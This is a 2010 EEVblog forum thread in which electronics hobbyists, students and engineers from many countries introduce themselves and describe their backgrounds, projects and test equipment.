I'm so long in the tooth that I remember as an apprentice working with and getting a 240V shock from the FRONT terminals of a Philips oscilloscope.  I cannot recall exactly what these terminals were for but it was a scope used in the instrumentation dept of the steelworks where I was then working.   It may have had something to do with platinum thermocouple junction testing.   All I can remember was fiddling around with it looking at Lissajous Figures then "bam!".  That was when I got my first electronics safety lesson ....when working with medium/high voltage keep one hand in your pocket!

regards.

 
Title: Re: New Member, Please introduce yourself
Post by: alm on July 01, 2010, 06:50:04 pm
I'm so long in the tooth that I remember as an apprentice working with and getting a 240V shock from the FRONT terminals of a Philips oscilloscope.  I cannot recall exactly what these terminals were for but it was a scope used in the instrumentation dept of the steelworks where I was then working.   It may have had something to do with platinum thermocouple junction testing.   All I can remember was fiddling around with it looking at Lissajous Figures then "bam!".  That was when I got my first electronics safety lesson ....when working with medium/high voltage keep one hand in your pocket!
Sounds like some idiot defeated the ground connection and the whole chassis was live, since there normally isn't anything high(ish)-voltage on the front panel.
Title: Re: New Member, Please introduce yourself
Post by: BC_minded on July 05, 2010, 03:10:46 am
I'm Brian, a banker. Been in San Francisco for the whole 30 years. I work hard and I play hard. I'm glad to be here! :D
Title: Re: New Member, Please introduce yourself
Post by: thedigitalprincess on July 06, 2010, 11:20:09 pm
Hi Guys,

I'm Peter, from Wollongong, Australia (about an hour south of Sydney). I'm an apprentice instrument fitter/calibration and electronics tech for an electricity company. I've always had an interest in Electronics, but I didn't get serious until the last two years of high school.

My main work tends to be in calibration checking instruments- usually small things like multimeters and high voltage detectors, but we also fault-find and repair these devices, plus some more complex ones, down to component level where possible.

I'm trying to get myself reasonably competent with microcontrollers so I can start applying them to our designs- We're sometimes asked design instruments for other staff in our company, and I'd like to increase the level of sophistication we build into these. I'm also pretty keen to work with SMD components, they're clearly where design and construction is going.

I'm hardly an expert in any of this though, so if I say something strange or downright wrong, please set me straight.
Thanks all, I'm looking forward to learning a lot you!
Peter

Wo0t! Another apprentice :)
What year level are you?
Title: Re: New Member, Please introduce yourself
Post by: McPete on July 07, 2010, 08:51:17 pm
Wo0t! Another apprentice :)
What year level are you?

I'm a third year. It's really weird though- I'm one of three instrument fitter apprentices in 250, mostly electricians and linesmen. ...Each and every one of them think I'm mad for liking my office job in the cal lab :P

What year and industry are you in, if you don't mind my asking?
Title: Re: New Member, Please introduce yourself
Post by: thedigitalprincess on July 11, 2010, 05:54:15 am
Wo0t! Another apprentice :)
What year level are you?

I'm a third year. It's really weird though- I'm one of three instrument fitter apprentices in 250, mostly electricians and linesmen. ...Each and every one of them think I'm mad for liking my office job in the cal lab :P

What year and industry are you in, if you don't mind my asking?

One of the guys in my class is a cal tech. The rest are mostly security.
I'm a first year in avionics (more on the side of inflight entertainment systems), it's a fun job :)
Title: Re: New Member, Please introduce yourself
Post by: 363616 on July 13, 2010, 12:58:59 am
Hi.  I'm from the northwest US and occasionally diddle with electronics as a hobby.
Title: Re: New Member, Please introduce yourself
Post by: Ronnie on July 15, 2010, 02:40:08 am
  Hi! I'm Ronnie from the Philippines an electronics engineer working for a semiconductor company that manufacture analog and mixed signal ICs. My interest is audio amplifier and have a small sound reinforcement system for rent during the weekend.
  I found EEVblog at Tequipment on the video review of Rigol's scope by Dave since I'm in the process of searching for my 1st personal scope  : P
Title: Re: New Member, Please introduce yourself
Post by: tapeworm on July 15, 2010, 11:04:12 am
Hey there I'm from the US, and I found this forum through the EEVBlog on youtube. I am first and foremost a learning hobbyist, but I am an EE major at the University, but still have not taken any circuit analysis/electrical engineering courses. I have taken physics (electromagnetism) and have a decent understanding of the physics behind the the hardware.  ;D
Title: Re: New Member, Please introduce yourself
Post by: hitachi8 on July 18, 2010, 05:43:45 pm
Hello ,
i live in Canada ( for the moment ) , i am a hobbyist/computer guy .
i love to make Some weird and surprising DIY project .
Title: Re: New Member, Please introduce yourself
Post by: jstarship on July 19, 2010, 05:23:48 am
Hello! New member here from Miami, FL. Hope I'm welcome here! :)
Title: Re: New Member, Please introduce yourself
Post by: AsciiSimon on July 19, 2010, 07:18:20 am
Hi, I'm Simon from NZ. I am a software person professionally. An ex-developer (I got better!) and now in QA and testing. I am a long time electronics tinkerer however and I usually have some mad projects on the go. I joined because I wanted to ask about my multimeter - a Fluke 19. I couldn't find any reviews online for it and the Fluke sites don't mention it. I saw mutterings about this being a disastrous model and was wondering why then I found the question was already answered by Dave here.

Can someone tell me exactly how they did fail? What was the symptom or symptoms? Mine still seems to work even though it is over 10 years old now (bought new from Dick Smith) but now I feel I can't really trust it. Perhaps I should send it to Dave for some, errr, testing!

Thanks!

Simon
Title: Re: New Member, Please introduce yourself
Post by: ThunderSqueak on July 19, 2010, 07:43:13 am
Hi, I'm Simon from NZ. I am a software person professionally. An ex-developer (I got better!) and now in QA and testing. I am a long time electronics tinkerer however and I usually have some mad projects on the go. I joined because I wanted to ask about my multimeter - a Fluke 19. I couldn't find any reviews online for it and the Fluke sites don't mention it. I saw mutterings about this being a disastrous model and was wondering why then I found the question was already answered by Dave here.

Can someone tell me exactly how they did fail? What was the symptom or symptoms? Mine still seems to work even though it is over 10 years old now (bought new from Dick Smith) but now I feel I can't really trust it. Perhaps I should send it to Dave for some, errr, testing!

Thanks!

Simon

So, it hasn't failed in 10 years? You could check it against another known good meter (or 2) to see if it has drifted far out of spec.  Anyway... welcome to the forum :)
Title: Re: New Member, Please introduce yourself
Post by: MrPlacid on July 19, 2010, 07:56:38 am
Perhaps I should send it to Dave for some, errr, testing!
Thanks!
Simon

Nahhh, do it like Dave sell it on ebay and take the money and buy a more trusting meter.
Title: Re: New Member, Please introduce yourself
Post by: longview on July 19, 2010, 07:40:08 pm
Hello, my name is Robin, from Norway.

I will be starting my first year of EE this fall, having completed my certificate of apprenticeship in general electronics repair last month (without actually interning, we have a special system where we can do the exam right out of high-school).

I found this blog while looking for interesting hardware hacks.

I like to experiment with electronics, hopefully I'll have access to PCB drilling and etching equipment once I start college, as well as better microcontroller programming systems for doing more complex tasks. I like to collect old test equipment, my favorite instruments I use regularly include the HP 1740a oscilloscope (100 MHz dual channel) and a HP 427a voltmeter (1 MHz averaging AC voltmeter).
Title: Re: New Member, Please introduce yourself
Post by: electricalengineering on July 20, 2010, 02:16:28 pm
Hi @all,

i am frank form good old Germany :-)

I stumbled here cause I searched new ways of getting informations about SMPS, I found EEVblog at youtube.

I work in a R&D Dept. in the Hardware Engineering Group.
I made an apprenticeship as an electronic technician.

I often feel like electrical engineering is a dead-end  job, isn't it`?
My problem is, I am not good enough by half as a programmer, but programming getting more and more important in every newer development.

What is your prediction for the future of electrical engineering.
Will be most of the jobs transferred to china or india, etc?

greetz,
frank
Title: Re: New Member, Please introduce yourself
Post by: MrPlacid on July 21, 2010, 03:03:04 am
i am frank form good old Germany :-)
...
What is your prediction for the future of electrical engineering.
Will be most of the jobs transferred to china or india, etc?

greetz,
frank

Greeting franks,

My prediction is that most electronic engineering jobs as well as programming will go to china and india. However, the good news is that electronics relating to the medical field won't. I don't think anyone want a pacemaker with "MADE IN CHINA" stamped on it.

Also since you are from Germany, that is another good news. The only reason why germany is more successful than most other european countries is that you guys are known to make high quality goods. Because of that most companies when deciding which equipments to use and they see "Made in Germany", they'll probably use that one. Because of that you'll keep churning out more quality goods.

Title: Re: New Member, Please introduce yourself
Post by: electricalengineering on July 21, 2010, 06:42:28 am

Because of that you'll keep churning out more quality goods.
[/quote]

"churning"
Do you mean trickery, don't you?

But I think your right, most electronic components in industrial, consumer, machine constitution products come from china.
And software components are from india and others.

It's like lego engineering. Buy components form all over the world and build it together to a working machine.
But i think in the old days we bought ICs form the US and build it together, nowdays it's more comprehensive.

You think only medical will keep in our hands?,
that's not good, many many jobs get lost.

What's about information technology, is this better for job secure, isn't it?
Title: Re: New Member, Please introduce yourself
Post by: MrPlacid on July 21, 2010, 07:36:52 am
"churning"
Do you mean trickery, don't you?

No, I didn't meant trickery. Produce instead.

Yeah, many many jobs will get lost until machines get so good that it's cheaper to use machines than cheap labor. Then we all will be out of a job. At that point we're probably won't be around.

The world is changing fast... I remember the good old days people walk around with pager ::)
Title: Re: New Member, Please introduce yourself
Post by: jwright on July 21, 2010, 10:07:10 am
Hello, my name is Kalle and I'm an EE student from Finland with quite a lot of electronics experience prior to starting university. I'm generally interested in all things electronic (including computer stuff, programming etc.). Done some stuff with microcontrollers etc. and I've been especially interested in high voltage/current stuff (but not limited to) which includes tesla coils, other kind of high voltage supplies and induction heaters etc. I'm a pretty typical engineer-kind-of-guy who has lot of project ideas and designs but rarely gets anything finished, I just tend to lose my interest in project after some time (I've noticed this is very common in engineerish -type people). Currently I've been redesigning my induction heater:

(http://www.dgkelectronics.com/storage/electronics/induction_heater/new_design/sw/igbt_bridge4_resize_400x.png) (http://www.dgkelectronics.com/storage/electronics/induction_heater/new_design/sw/igbt_bridge4_resize_1024x.png)

Here is my website: http://www.dgkelectronics.com/ (haven't bothered to add that much stuff there yet) but you can find all kinds of pictures and stuff of my projects in: http://www.dgkelectronics.com/storage/electronics/

Now excuse me but I have to go and study for tomorrows circuit analysis exam... :-X

Wow... very impressive!  ;D
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Post by: Bonker on July 22, 2010, 03:43:52 pm
Hi I'm Morgan. I'm in my last year of a BEET degree and just getting started on a two-term, team project. I'm mostly interested in the Space Race or: how I learned to make things do stuff millions of miles from here. In my spare time I tinker with guitar electronics, including amps and effects, and that's what led me to seek an electronics education, that and the tedium of 15 years of software development had taken it's toll.

Thanks so much for the video blog! It led me here and I'm certain I will learn a lot on the site as well.
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Post by: ChrisGammell on July 27, 2010, 01:12:12 pm
My name is Chris Gammell.

By day, I work on electrometers, digital multimeters, source meters and picoammeters (DC test equipment).

By night I write at my site, http://chrisgammell.com (http://chrisgammell.com). I focus on analog and often stray into the weeds of engineering topics such as learning.

I found Dave's site the same way that many others did. I got to know Dave a little while trying to interview him but he's pretty busy over here with EEVblog. I'll excuse him because it's great to see what a wonderful community he has on these forums. I'm truly impressed with the diverse talent of the audience here and am even more excited by the wide areas of the world people hail from. I've lamented in the past of not being able to find electronics-centric people online...but it seems like here it is!

Look forward to participating and/or watching the conversation move along.
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Post by: Ronnie on July 28, 2010, 08:00:26 am
Quote
My name is Chris Gammell.

By day, I work on electrometers, digital multimeters, source meters and picoammeters (DC test equipment).

Hello Chris,
  From your Resume at your site looks like you are designing electrometers? Since 1995 to present I’ve been working for Analog Devices in the Philippines as a test manufacturing engineer and we are using Keithley 610C (designed in 1969) electrometer to measure operational amplifier input bias/leakage current with 40 femtoampere typical value like the one on this link http://www.analog.com/static/imported-files/data_sheets/AD549.pdf (http://www.analog.com/static/imported-files/data_sheets/AD549.pdf). When it comes to measuring very low level current nothing compares to electrometers manufactured by Keithley Instruments  8)
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Post by: ChrisGammell on July 28, 2010, 11:14:01 am
@Ronnie, while I don't usually talk about my day job too much online, that's pretty awesome. The 610C is waaaaay before my time, but that's amazing it's still around and working. I use Analog Device products quite often and I really love the specs on many of your parts.
Title: Re: New Member, Please introduce yourself
Post by: TopherTheME on July 29, 2010, 08:24:52 pm
Hello, my name Kris, I'm a mechanical engineering PhD student from Michigan (USA). I stumbled upon this place looking for multimeter reviews online and decided to check out the some of the other blogs and the forum. So far, I really like it.

I've only taken one EE course in my entire life (and learned nothing from it) but I've learned and done some electronics design for work and for hobby. I also have a habit of designing and building my own instrumentation for research projects at school.

Most of my electronics experience originated in controls and robotics but lately I've been doing a lot of precision analog design. I'm currently trying to get more familiar with the PIC32 so I can use it for some DSP applications.
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Post by: seanmatthew22 on July 30, 2010, 04:58:10 pm
Hey,

I'm Sean from Ontario Canada. I'm going into grade 11 next year, electronics have been a hobby of mine since my 200 in 1 kit form radio shack. Now im on a first robotics team making all kinds of things. Right now i just have a sweep function generator, a logic analyzer, a oscilloscope, and a variable power supply. Though im hoping to get newer equipment as i get a job.  :P
Title: Re: New Member, Please introduce yourself
Post by: avrfreaks on July 30, 2010, 05:49:48 pm
I am Brian from Boise, Idaho.

I do a-lot of tinkering with electronics and own a share of the Maker Shed; write publications, Make Magazine. I also do Arduino + Robotics + Networking....

HP + Micron + Qwest + Datatel (ISP + Internet) are our number one electronics......
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Post by: rpark1231 on July 31, 2010, 02:19:45 am
Hi everyone,

I'm a student in the San Diego, California area. I currently attend a local community college and will be transferring to a university. I would like to major in Computer Engineering or a comparable program (i.e. EECS). UCSD has accepted my transfer application for the fall 2011 semester. I'm thirty years old, definitely not a traditional college student and if you told me a few years ago that I would be doing well in college and accepted to a university I probably would have laughed at you. I'm pretty much just stoked to have found something that I have a real interest in.
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Post by: MrPlacid on July 31, 2010, 02:58:11 am
Hi everyone,

I'm a student in the San Diego, California area. I currently attend a local community college and will be transferring to a university. I would like to major in Computer Engineering or a comparable program (i.e. EECS). UCSD has accepted my transfer application for the fall 2011 semester. I'm thirty years old, definitely not a traditional college student and if you told me a few years ago that I would be doing well in college and accepted to a university I probably would have laughed at you. I'm pretty much just stoked to have found something that I have a real interest in.

rpark1231,

You're the kinda of student I cheer for, over 30 and found your true calling.
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Post by: baljemmett on August 01, 2010, 07:14:44 pm
Figured it's probably about time I 'introduced' myself, having been reading the forum for a little while and chipping in occasionally...

I'm a software developer by trade, but had been mulling over getting back into electronics for a few years (having not done much since I was a young'un!).  Buying a house last year provided a great opportunity to do so -- I had a few itches to scratch when I set up the kitchen as a second zone on the living room hi-fi stack, so built an IR repeater and PIC-based remote control.  Having got those working and then stumbling over the EEVblog, the bug bit properly and now I've got all sorts of daft plans; the trick will be not to run before I get walking properly, of course.

Oh, and some of you may have bumped into me on the ustream chat, where I can be found occasionally boring people with my witterings.  I show up over there as microwavepizza, so hi to anybody who does recognise me :)
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Post by: smpowell on August 01, 2010, 10:02:46 pm
Hi, my name is Stephen. Every ten years or so I dabble in electronics as a hobby, this would be my third time around.....

Back in the 70's I had took one 500 level electronics course as part of a metallurgical engineering degree. All I recall is a bunch of weird calculations involving imaginary numbers. Got to play with oscilloscopes in the lab though.

A couple of years later I was an induction hardening (heat treating) engineer; too bad they didn't cover anything remotely related to that in the course.

I built a lot of Heathkits back in the 1980's, I even still have one.

Back in the late 1990's I dabbled quite a bit, you can even read about it at http://octopus.freeyellow.com/ , the home of the "99 cent ESR tester".

Now I'm dabbling again....
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Post by: scrat on August 02, 2010, 12:37:14 am
Hi everyone, I'm Sandro from Italy (but don't think about pizza-mafia-mandolino, this is the North, near the Alps ;) )
I apologize for making a number of posts before introducing myself.

At the moment I'm a PhD student (in a little university near home), and I work on Electrical Drives (especially on the control side).
Even if this is an electrical subject, I'm actually an electronic engineer, and I'm interested in all electronics. Unfortunately, time for taking it as an hobby is not so much...

I really like this forum, it's a stimulus for me. I'm really interested in how people work over the world, since my experiences do not include electronics industry, which I see is much more complicated than simply electronic design.
I hope this place will be good for sharing of ideas and knowledge... and, why not, to have some fun.

Title: Re: New Member, Please introduce yourself
Post by: Joy at MCS on August 06, 2010, 01:30:30 pm
 I'm Joy .  I got involved in Electronics about 8 years ago while living in Orlando Florida.  I've moved to the UK a few years ago and am adjusting to all the rain here.    Where's the sun and palm trees?  :)

I've actually been considering going back to University for Design Electronics, but I think I'd probably need to speak to more people who do this for a living to find out what it's really like to be a Design Engineer.  I like the idea of putting a design together for something  and then working with a team to bring to reality ,but I'm sure there's probably much more to the job than that. .... Okay I'll stop babbling now :-)

 I really like this forum and the people on it. Everyone is very friendly and knowledgeable.

Title: Re: New Member, Please introduce yourself
Post by: Wayneo on August 07, 2010, 01:13:29 am
Hello Everybody!
My name is Wayne, Im 28 soon, I live in a small town in Wales, UK.
I have been interested in Electronics from a young age, I have learnt from family members, My uncle was an electronics engineer in the RAF, my other uncle has worked as an electronics tech in the local university for most of his life. Alot of it has been self tought from books and hands on experience.

After I left school I went and worked in a local electronics repair shop where I learnt even more interesting things, at the same time I spent 1 week of every month on a 3 year training course at the MOD, Aberporth  (More Electronics)  :)

After I worked there I decided to move on to computers and monitor repairs and all the software side of computers which I found quite boaring until later on in life!

Finally I have a house with my partner & 2 1/2 yr old son, where I have my own electronics workshop/lab, It may be small but It does me fine, everything has its place and is easily accessable, & when the missus is on one I have a place to escape!!  ;D

You guys on here are great! and im so glad to see so many people like me here! and i'd just like to say thanks to Dave and his fantastic vids and motivation!
Wayneo
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Post by: lamja on August 07, 2010, 07:57:44 pm
Hi.

My name is Arvid. I live in norway, and I'm 39 years old.
I just changed my profile name from pilleyuppo23(too strange) to lamja (Just got wordpress up and running on my site www.lamja.com  ;D)
I work with telephone PABXs, mostly configurating and installing software. I have an electronics engineer degree from school.
The last couple of years I redescovered the joy of electronics. Before I always was a software/PC freak. (I still am maybe)
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Post by: Sam on August 09, 2010, 09:07:38 pm
Hi

Thought it about time I signed up and introduced myself. I live and work in the UK, for a small company carrying out Vibration and Temperature tests (ie shake stuff and bake/freeze stuff) on many different products. I did an apprenticeship through the company and got an HNC in electronics. However we don't do much electronics (I was given a choice between electronics or mechanical), it's more mechanical based, but the electronics is very handy when calibrating or repairing stuff. However the company are sponsoring me to go to uni part time to do a Beng in Mechanical Engineering. So hopefully I will end up multi-disciplined ::)

Any way enough of the boring stuff. Like most here I also have an interest in electronics especially the micro and also PC interfacing side of things. I don't get much free time for projects. However I have built a object avoiding robot which I hope to modify and make more interesting. I'm a great fan of the Arduino and think it's a great device for quick and easy prototyping.

Also enjoy the shows.

Sam
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Post by: kaptain_zero on August 12, 2010, 04:10:54 am
Hi, my name is Christian and I'm hopelessly addicted to anything interesting.... <sigh>.

I like computers, straight razors and traditional wet shaving, machining, LED flashlights, motorcycles, leather work, electronics, ham radio........ urgle...... do I need to go on?!?!

I found the EEVBlog videos by accident, watched a few and decided that this was an excellent way of "getting up to speed" on some topics that interest me.

Regards

Christian

aka

Kaptain " I usually just connect + to - and run everything else to ground" Zero
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Post by: Steven8098 on August 12, 2010, 07:37:59 am
Hello Everyone I am totally new here.
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Post by: christopher77 on August 14, 2010, 05:11:06 pm
Hi,
I am christopher, form UK newbie in this forum
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Post by: ThunderSqueak on August 15, 2010, 06:59:46 am
Welcome new people :D   
Title: Re: New Member, Please introduce yourself
Post by: Napalm on August 21, 2010, 12:38:04 am
Hi Everyone,
I've been following Dave's brilliant video's on YouTube for quite sometime and signed up to the forum a while back. Never really got around to posting.. so here's my first post. I'm from London, UK.

I'm a software guy have been for quite sometime. I worked on a operating system and a few other low level things and started going further down into Firmware and so on.. PICs.. kits, projects, and the like. I've really found I like electronics.. I have learned a lot recently and I love learning new things.

Over the past couple of years in my spare time of playing with electronics's I only feel I've scratched the surface. I've slowly built up my workbench. I now have a Oscilloscope, a couple of half-decent Multimeter's (Thanks to your advice in your video's), bench power supply and Temperature controlled soldering iron, Grounding point, Vise, and lots of drawers of component's.

I've not etched my own boards (yet!), so far I've been using breadboards and then transferring those to strip-board once I'm happy. I've found myself removing reusable components from consumer electronics that I would (not too long ago) throw away.

Just purchased a new book: Electronics Explained by Louis E. Frenzel, Jr. (http://www.foyles.co.uk/display.asp?K=9781856177009)
So far a good read. He explains things quite well, using the "average joe" perspective rather than complex engineering equations which have my head spinning. Wouldn't it be so great if those equations on Wikipedia and the like had a "C/C++" version. I would be able to understand that perfectly.

I guess that explains where I'm currently at. Always learning something new. Keep up the good work Dave!  :D

Napalm
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Post by: LumpyGravy on August 22, 2010, 07:49:23 pm
Hello everyone. Yet another EE here, in the UK. Design geophysical instrumentation for oil/gas industry by day, watch the EEVblog by night and thought it was about time I signed up and said hello. So, hello!
Title: Re: New Member, Please introduce yourself
Post by: Avionics_Guy on August 25, 2010, 12:39:52 am
Hello everybody! Dave Evans here. I'm happy to be a part of the blog. I ran across EE Dave's blog on youtube while surfing around
and thought it was very good and informative, so i ended up at his site and watched most of his video blogs and thought i might
sign up on the forum. For myself, i grew up similar to Dave back in the day. I was born in 1967 and my father was in Avionics out
at the now disfunc NAVY base here in Beeville Tx. I grew up watching Star Trek, Lost in Space, Space 1999 and such, and loved
the sound FX and blinky lights and so fourth plus my father would bring home parts and components for me to play with.
At about 6 years old i got my first analog multimeter kit and a crystal radio kit for my birthday, along with a dozen star trek models
and toys. The next few years yielded me the radio shack 50 in one project lab, then the 150 in one, then 300 in one, and some
other things. I really did not have any money to buy anything of value so i went venturing out on my Bike looking for stuff.
People would throw away radios, tv's and other stuff, i would allways drop by the TV shops, they would always toss out good stuff.
Anyways, i started picking up portable tv sets and taking them home and tinker with them, ask my dad questions, buy some electronic
books and getting a hold of a books like the TTL Master IC Cookbook and so fourth. Long story short, tought myself how to repair
Tv's, Vcr's, Camcorders, Etc. Only in the last 3-4 years have i got into Logic circuits, micro-controllers, etc. So looking
forward to chatting with all of you.

Dave
Title: Re: New Member, Please introduce yourself
Post by: AwesomeEcho on August 30, 2010, 11:17:14 pm
Hi everyone! I'm a EE graduate student researching antennas and microwave/RF design, mainly antenna design.  I saw this website at a friends, and I've been interested ever since!  I've built projects for my undergraduate degree (in EE), but I'm looking forward to building side projects for fun. It's a lot different when you choose to build something!  :)   
Title: Re: New Member, Please introduce yourself
Post by: dics on September 01, 2010, 12:31:46 pm
Hello everyone, i am dics from Romania.
I come from a software development background with more than 18 years experience and i recently (since 2005) got involved into hobby electronics.
I own a website which was partially made because of Dave's video blog and partially because there is nothing like this available in my native language. I have videos recorded during work with camstudio and with my camera also (camera doesn't love me as much as it loves Dave though :) )
Looking forward to meet new people here and chat about electronics

dics
http://dics.voicecontrol.ro/
Title: Re: New Member, Please introduce yourself
Post by: red_kooga on September 04, 2010, 10:25:01 am
Hi everyone,

I am richard from england, i love tech, enjoy everything electronic from my first project a VHF air band radio with a 6c4 valve back in the early 70's to a pic microcontroller with everything today.
Title: Re: New Member, Please introduce yourself
Post by: Vexer on September 04, 2010, 06:08:57 pm
Hey guys,

I live in Mississippi(USA), and have been watching Dave's blog for about a year(on and off). I am probably Dave's youngest viewer(turning 13 next month).

I enjoy anything electronics related, from computer hardware to capacitors and resistors. Currently, my project is an LED Matrix(Bi-color) video game system based off of an AVR Microcontroller(programmed in C). Unfortunately, I don't have much of an electronics lab right now, though I hope to get an oscilloscope for Christmas.
Title: Re: New Member, Please introduce yourself
Post by: FLUKE179 on September 04, 2010, 09:55:54 pm
Hi I'm Ronald I live in derbyshire in the uk I'm in to all sorts of bits I work as a mobility engineer on power wheelchair's so I get to play around with all the 12v gizmo's all day I am working on a tesla coil at the moment from the ground up hope to have some pics of it soon.
Title: Re: New Member, Please introduce yourself
Post by: nyo on September 05, 2010, 04:15:38 pm
Hello all,

I'm an electro-mechanical technician and I think Dave's blog rocks, lot's of info. When I first started watching, I didn't quite understand lots of things he was talking about, but as I learn I can go back to the older blogs and I now understand what is going on. I specifically like when Dave opens or tries limitations of devices that I can't afford to mess with.
Title: Re: New Member, Please introduce yourself
Post by: AvrFan65 on September 06, 2010, 10:34:29 pm
Hi,
I'm Jan, living way up north in Norway. Have been into electronics since early 80's.
working as a technican, but also doing some computer programming.
Just found this blog a few days ago and think it's very interesting,
have had a lot of fun looking through the episoedes.

Jan
Title: Re: New Member, Please introduce yourself
Post by: quantumfall on September 09, 2010, 09:29:45 pm
Hi all good to post here I'm from the south of England, slightly older guy who has had a Tandy kit in a wooden box and other things and still playing. Only a novice but with some pro work on old PC systems years ago.
Title: Re: New Member, Please introduce yourself
Post by: Nermash on September 14, 2010, 07:04:02 am
Hi to everybody, greetings from Bosnia and Herzegovina showered in pissing rain this morning :)
I first got interested in electronics way back in the begining of 90's as a teenager. I even went to some competition in my school's team, very basic stuff, variable psu and so on...

I am now involved professionaly with cable TV equipment and brodcast equipment, and in the final year of getting my long overdue engineering degree(IT) :)
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Post by: Raff on September 14, 2010, 08:31:11 am
Hi Guys and Gals,

 I am Raff. short for Raffaele, I live on the Gold Coast, Queensland, Australia.  I am a retired electronics technician who worked for a large telecommunications company for many years doing everything from telephone installs and maintenance to payphones, to telegraphy and data networks. I have also been involved with computers for many years, ever since I fist spied a TRS80 at the local Tandy store! Well I guess I'm giving away my age a bit here.. I repaired, built and sold many computer systems from humble home PC's to heavy duty multi processor server systems.

I am now retired due to ill health, but try and tinker with my electronic toys whenever I can, I have everything from home made jukeboxes to pinball machines in my shed to play with.

I stumbled upon Dave's wonderfull video blog after I was offered a Rigol oscilloscope used and wanted to find out more about it. It's a DS5202CA which I gather is an older one, but it suits me just fine. It's going to compliment my aged old BWD 35Mhz analogue storage 'scope.

Love the blog, and love the forums!
Title: Re: New Member, Please introduce yourself
Post by: adept on September 18, 2010, 02:07:56 am
Hello EEVBlog,

I love the show! Just decided today to join the actual forum and everything. Been a fan for almost a year now! My buddy (also a big nerd like me) recommended the show to me. It's really entertaining to watch! I'm "a budding young lad in high school", as my grandpa would put it. Electronics describes my life. That and music. I play trumpet for the band. My first computer was a Tandy my dad bought in college. I'm a calculator hacker, who makes do with the hardware of nothing. Junk bins are a good place to look to find me. People throw out things that are absolutely useful. Cemetech is my second home. I'm close with all of those bloggers. Kerm Martian is the best webmaster ever. Everything is custom, and he's always there to help. Lots of contests, hacks, entertainment, etc. there. EEVBlog is the place I look when I have a question about design. Dave is the most entertaining lecturer ever. Although some of his shows are long (30 minutes or more), I'm not bored, but enticed, and sit through it all. That's my life in electronics.
Title: Re: New Member, Please introduce yourself
Post by: Lance on September 19, 2010, 11:40:30 pm
Hello from West Canada! I tried joining the forum earlier but was having issues with it. Seems to be working now, so I signed up! I'm finishing up first year engineering and hopefully will transfer to electrical engineering next year.
Title: Re: New Member, Please introduce yourself
Post by: Jochem on September 20, 2010, 01:13:13 pm
Hi all,

I'm a total amateur from the netherlands, found Dave's blog through makezine (I think), and decided to join.

So far, I've been messing around with some simple microcontroller stuff, and a little bit of discrete component electronics. I used to solder together some kits when I was a kid, and was really interested in it, but never got much further due to a lack of Internets. Recently, I've been rekindling my interest.
Title: Re: New Member, Please introduce yourself
Post by: pdunz on September 23, 2010, 12:44:41 am
Hello everyone from New Zealand.

Well what to say.  I started when I was hmmm around 13 (Im now 29) but that was put on the back bench for the last few years but after building a kit a few weeks ago it got me interested again, and then looking around youtube and seeing the videos - it got me even more interested.  

I used to just buy kits from the store and build them without actually knowing or learning how the components interact with each other (I also made a few PCB's so I know how to do those too) - but now Im taking my time studying schematics, looking up datasheets for the various components (mainly transistors & IC's) and learning what they can do and what they are for in a circuit.  I am now in the designing stages of a project that I wanted to do for a while now.  After that is all done and working, I may delve into Microcontrollers because I have an idea with that as well.


Other than that, I am also a trade mechanic and certified in I.T.

Anyway thats me.

Title: Re: New Member, Please introduce yourself
Post by: ceut on September 26, 2010, 08:16:10 pm
Hello  :D
I'm interested in electronics for many years as a passion/hobby(since I was young). Actually I would like to buy a DSO and I have seen many informations in this forum so I give it a try  ;)
Sorry if there's some mistakes, english isn't my native langage (I'm a grench guy  :D )
Title: Re: New Member, Please introduce yourself
Post by: im_a_human on September 27, 2010, 03:16:20 pm
Hello!  :D My name is Nick, im from Sussex in the UK. I work as a technician at a college maintaining and repairing audio equipment in a music department. I have been into electronics hobby for about 25 years. Im interested in homemade computers, programming, micro controllers, audio and making music. I enjoy Dave's video blogs a lot and look forward to being part of the community.
Title: Re: New Member, Please introduce yourself
Post by: Psi on September 28, 2010, 09:51:28 am
Hi, my name is Ben.

I'm 29 and live in Auckland, New Zealand.

I'm Really enjoying the blog episodes.
I've been doing hobby electronics since i was 8.
I have a degree in both computer systems and electrotechnology from UNITEC new zealand.
I've done a few little module design projects for industrial remote control systems. RS232 signal analysis and signal generation. I've also done windows programming in delphi and developed business software for tracking payroll scheduling.

I've done hobby projects such as RGBW LED room lighting, a car computer and am currently working on power monitoring and communication using a method adapted from UPB (universal powerline bus)
while i look for fulltime work.
Title: Re: New Member, Please introduce yourself
Post by: JJHamster on September 29, 2010, 12:24:18 pm
Hi,
Found this blog as a result of the kindle review link Dave posted at the mobileread.com forum.
I’m a research scientist based in the UK who’s dabbled with electronics for many years.
First interest in electricity was, as a kid, being blown across the school swimming pool changing room after touching a faulty light switch. Sadly in those days rather than getting counselling and suing for compensation I just got told off. Moved on to Philips Electronic kits and was soon getting regular shocks investigating microphonic EF86 valves in my old Vox AC10 guitar amp.
Nowadays most of my electronics projects are PC builds and simple repairs (power it up - then hit/poke things ‘till you find the dry solder joint).
Anyway love the blog banter and the forum atmosphere.
Title: Re: New Member, Please introduce yourself
Post by: Gearbreaker on October 01, 2010, 07:18:24 pm
Hi all....  Chris Collins here.... Connecticut in the USA.  Started when tubes (Yes, the things with lights inside because electrons are afraid to jump in the dark) and moved my up as time went on.  Learned discreet transistor design and then TTL and then Analog LM series.  Now learning embedded C so that I can catch up with the rest of the world.  It's been a long road but I'm not senile yet!  As I always say.... Patience is a virgin.   
Title: Re: New Member, Please introduce yourself
Post by: osmosis321 on October 02, 2010, 04:42:11 pm
Greetings all from Victoria, BC Canada.

I'm a tech school dropout who's delved into just about everything electrical.  I am slowly and steadily modifying my environment, so that I may one day realize my ultimate goal -- to live inside a computer.
Title: Re: New Member, Please introduce yourself
Post by: Time on October 03, 2010, 12:25:13 am
Greetings all from Victoria, BC Canada.

I'm a tech school dropout who's delved into just about everything electrical.  I am slowly and steadily modifying my environment, so that I may one day realize my ultimate goal -- to live inside a computer.

haha funny
Title: Re: New Member, Please introduce yourself
Post by: Mechatrommer on October 03, 2010, 01:23:34 am
I'm a tech school dropout who's delved into just about everything electrical.  I am slowly and steadily modifying my environment, so that I may one day realize my ultimate goal -- to live inside a computer.
another reverse osmosis idea :D where scientists and engineers are currently trying to do the other way around.
Title: Re: New Member, Please introduce yourself
Post by: Zap on October 03, 2010, 10:49:25 am
Hi all, long time viewer but only just signed up to the forum.

I am in Melbourne Australia, as a student about to complete my Eng. degree in electronics

I wait each week for the video blog and drool over the equipment Dave gets to test and "blow up". I find the tuts the most benefit - love them!

cheers
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Post by: bound on October 04, 2010, 12:51:50 pm
Hi , greetings from Poland
